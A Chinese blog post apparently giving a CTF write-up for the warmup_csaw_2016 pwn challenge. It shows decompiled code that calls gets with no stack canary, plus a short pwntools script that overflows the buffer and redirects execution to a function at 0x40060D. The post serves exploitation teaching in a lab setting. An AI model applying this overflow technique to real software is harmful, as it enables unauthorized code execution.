首页 > 其他分享 >warmup_csaw_2016

warmup_csaw_2016

时间:2024-11-11 22:44:41浏览次数:1  
标签:write warmup char pwn import 2016 csaw

题目链接:warmup_csaw_2016

下载附件后,使用 IDA 反编译,定位到 main 函数,如下。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

可以发现,存在 gets 函数,并且不存在 Canary。

留意到存在函数 "sub_40060D",如下。

因此,直接栈劫持到该函数即可。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    sl(0x48 * b'a' + p64(0x000000000040060D))
    irt()

pwn()

标签:write,warmup,char,pwn,import,2016,csaw
From: https://www.cnblogs.com/imtaieee/p/18540740

相关文章

  • [HCTF 2018]WarmUp
    打开页面只有一个表情包,F12查看网页代码有个提示,我们直接转到source.php页面发现还有一个hint.php,访问可以得到提示:通过审计代码发现,emmm实现了一个白名单功能,只有source和hint可以访问通过。下面的if检查$_REQUEST['file']是否存在且为字符串类型,并调用emmm::checkFile方法......
  • 数据结构[2016]
    一、设有二维数组A[6][8],每个元素占6个字节存储,实现存放,A[0][0]的起始地址为1000,计算:(10分)(1)数组最后一个元素A[5][7]的起始地址;(2)按行优先存放时,元素A[1][4]的起始地址;(3)按列优先存放时,元素A[4][7]的起始地址。二、若有一棵二叉树,左右子树均有三个结点,其左子树的前......
  • 【漏洞复现】通达OA 2013、2016、2017 header.inc.php 任意用户登陆漏洞
    免责声明:        本文旨在提供有关特定漏洞的信息,以帮助用户了解潜在风险。发布此信息旨在促进网络安全意识和技术进步,并非出于恶意。读者应理解,利用本文提到的漏洞或进行相关测试可能违反法律或服务协议。未经授权访问系统、网络或应用程序可能导致法律责任或严......
  • 【软考】系统架构设计师-2016年下半年上午综合知识真题及答案
    全国计算机技术与软件专业技术资格(水平)考试高级系统架构设计师2016年下半年上午试卷 综合知识试题一 在嵌入式系统的存储部件中,存取速度最快的是( )。A.内存  B.寄存器组  C.Flash  D. Cache试题二 实时操作系统(RTOS)内核与应用程序之间的接口称......
  • 国标GB28181-2016平台LiteGBS国标GB28181软件,详细介绍LiteGBS视频监控系统
    智能视频监控系统利用图像处理、模式识别和计算机视觉技术,通过集成智能视频分析模块,借助计算机强大的数据处理能力,过滤无用或干扰信息,自动识别物体,提取关键信息,快速准确定位事故现场,判断异常情况,并以最优方式发出警报或触发相应动作。该系统实现全自动、全天候、实时监控,有效支持......
  • 洛谷题单指南-二叉堆与树状数组-P2827 [NOIP2016 提高组] 蚯蚓
    原题链接:https://www.luogu.com.cn/problem/P2827题意解读:初始n个数,每次取最大值x,根据u/v分成两部分:x*u/v,x-x*u/v,然后其余数都增加q,整个过程重复m次。输出有两类数据:第t,2t,3t...次取出的最大值;最后剩余的数第t,2t,3t...个,从大到小输出。解题思路:直观上,通过模拟法可以实......
  • [HCTF 2018]WarmUp 1--详细解析
    打开靶机,进入界面:信息搜集当前界面没有任何有用信息。想到查看页面源代码。右键–查看页面源代码看到hint:<!--source.php-->进入/source.php页面,看到页面源代码:<?phphighlight_file(__FILE__);classemmm{publicstaticfunctioncheckFil......
  • P6667 [清华集训2016] 如何优雅地求和 题解
    一道非常有启发性的题目。思路考虑对于一个给出点值的多项式函数如何处理。我们发现,对于一个\(m\)次多项式\(f(x)\),由于\(\binom{x}{i}\)为\(i\)次多项式,所以说我们必定可以把一个多项式函数写成如下模样:\[F(k)=\sum_{i=0}^m\binom{k}{i}f_i\]可以看出,\(f_i\)实际上......
  • 国标GB28181-2016平台LiteGBS国标GB28181设备端接入SDK国标级联共享功能的优势体现在
    在现代安防监控领域,视频监控管理平台的国标级联共享功能是实现跨区域、跨系统资源整合与共享的关键技术。LiteGBS平台以其卓越的性能和广泛的兼容性,为用户提供了一个高效、可靠的解决方案。本文将详细介绍国标GB28181-2016平台LiteGBS在国标级联共享方面的五大优势,展示其如何帮助......
  • 在‌Windows Server 2016中显示‌桌面图标的方法
    通过运行对话框‌:按下Win+R键,打开运行对话框。输入命令  rundll32.exeshell32.dll,Control_RunDLLdesk.cpl,,0 然后按回车键或点击确定按钮。这将打开桌面图标设置功能,你可以在其中勾选想要显示的图标。‌ 详细步骤说明‌打开运行对话框‌:按下Win+R键,打开运行对......